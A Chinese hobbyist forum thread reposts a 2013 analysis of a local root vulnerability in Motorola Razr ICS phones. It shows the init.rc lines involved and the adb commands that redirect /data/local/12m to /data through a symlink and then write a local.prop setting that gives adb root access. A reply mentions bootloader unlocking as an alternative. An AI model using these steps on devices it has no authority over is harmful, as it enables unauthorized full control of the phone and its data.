爱黑武论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 2472|回复: 1

[新闻] Motorola Razr ICS手机Root漏洞与利用原理分析

[复制链接]
发表于 2014-1-2 19:09 | 显示全部楼层 |阅读模式

立即注册,加入爱黑武论坛的大家庭!爱黑武,爱上搞机生活!

您需要 登录 才可以下载或查看,没有账号?注册

x
可能对有些人不是新闻,但还是转载一下吧,原文:Motorola Razr ICS手机Root漏洞与利用原理分析
时间:2013/12/24   作者:邱剑
一、漏洞简介:

     Motorola Razr ICS手机存在/data/local/12m目录,该目录由init进程在设备启动时创建并chown到shell用户组,且赋予shell用户组对该目录的rwx权限。因此我们可以通过adb shell创建/data/local/12m到/data目录的软链接,这样设备重启后,init进程对/data/local/12m目录的所有操作就会转换为对/data目录的操作,shell用户组就具有了对/data目录的rwx权限,我们可以通过修改/data/local.prop配置文件来使adb shell在设备重启后以root身份运行。


二、漏洞与利用详情:

     Motorola Razr ICS 手机启动过程中,init进程通过读取init.rc配置文件完成初始化任务,init.rc文件存在如下内容:
          mkdir /data/local 0771 mot_tcmd shell
          mkdir /data/local/tmp 0771 mot_tcmd shell
          mkdir /data/local/12m 0771 mot_tcmd shell
          mkdir /data/local/12m/batch 0771 mot_tcmd shell
          chown mot_tcmd shell /data/local
          chown mot_tcmd shell /data/local/12m
          chown mot_tcmd shell /data/local/12m/batch
          chown mot_tcmd shell /data/local/tmp

    init.rc相关语法:
       mkdir <path> [mode] [owner] [group]
          Create a directory at <path>, optionally with the given mode, owner, and
          group. If not provided, the directory is created with permissions 755 and
          owned by the root user and root group.
       chown <owner> <group> <path>
          Change file owner and group.

    可见/data/local目录对shell可写,那我们可以利用shell在该目录下进行ln -s链接操作(操作前先备份原文件或文件夹):
       adb shell
       mv /data/local/12m /data/local/12m.bak
       ln -s /data /data/local/12m

    重启手机后系统会执行init.rc,对/data/local/12m的操作实际执行是对/data目录的操作,这样/data目录属性被修改为:
       drwxrwx–x mot_tcmd     shell              2013-12-20 10:58 data

    接下来修改/data/local.prop文件进行修改:
       rm /data/local/12m
       mv /data/local/12m.bak /data/local/12m
       mv /data/local.prop /data/local.prop.bak
       echo “ro.sys.atvc_allow_all_adb=1″ >> /data/local.prop
   (“ro.sys.atvc_allow_all_adb”是Motorola系统特有的设置,置1后重启,adb即拥有root权限。)

    至此,我们已可以通过adb对该手机进行任何操作。





原网址为:safe.baidu.com/2013-12/motorola_razr_ics_12m_exploit.html,本人只负责转载


评分

1

查看全部评分

回复

使用道具 举报

发表于 2014-1-2 20:24 | 显示全部楼层
嗯,不过反正可以解锁,就没这么麻烦了
回复 支持 反对

使用道具 举报

 Hello,黑武的好机友!回复想偷个懒?点这里: 
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

QQ|小黑屋|Archiver|手机版|爱黑武论坛 ( 京ICP备2023028323号 | 京公网安备11011202000270号 )

GMT+8, 2024-11-25 01:10 , Processed in 0.044464 second(s), 25 queries .

Powered by Discuz! X3.4

Copyright © 2001-2024, ihei5.com

快速回复 返回顶部 返回列表